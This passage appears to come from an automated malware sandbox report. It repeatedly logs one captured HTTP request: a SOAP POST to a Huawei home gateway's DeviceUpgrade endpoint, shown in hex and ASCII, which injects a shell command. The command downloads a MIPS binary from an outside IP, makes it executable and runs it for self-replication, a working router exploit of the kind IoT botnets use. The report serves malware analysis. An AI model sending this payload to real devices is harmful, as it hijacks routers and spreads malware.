HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 36 39 2e 31 32 39 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.169.129 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 36 39 2e 31 32 39 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.169.129 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 36 39 2e 31 32 39 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.169.129 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 36 39 2e 31 32 39 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.169.129 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 36 39 2e 31 32 39 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.169.129 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 36 39 2e 31 32 39 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.169.129 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 36 39 2e 31 32 39 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.169.129 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 36 39 2e 31 32 39 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.169.129 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
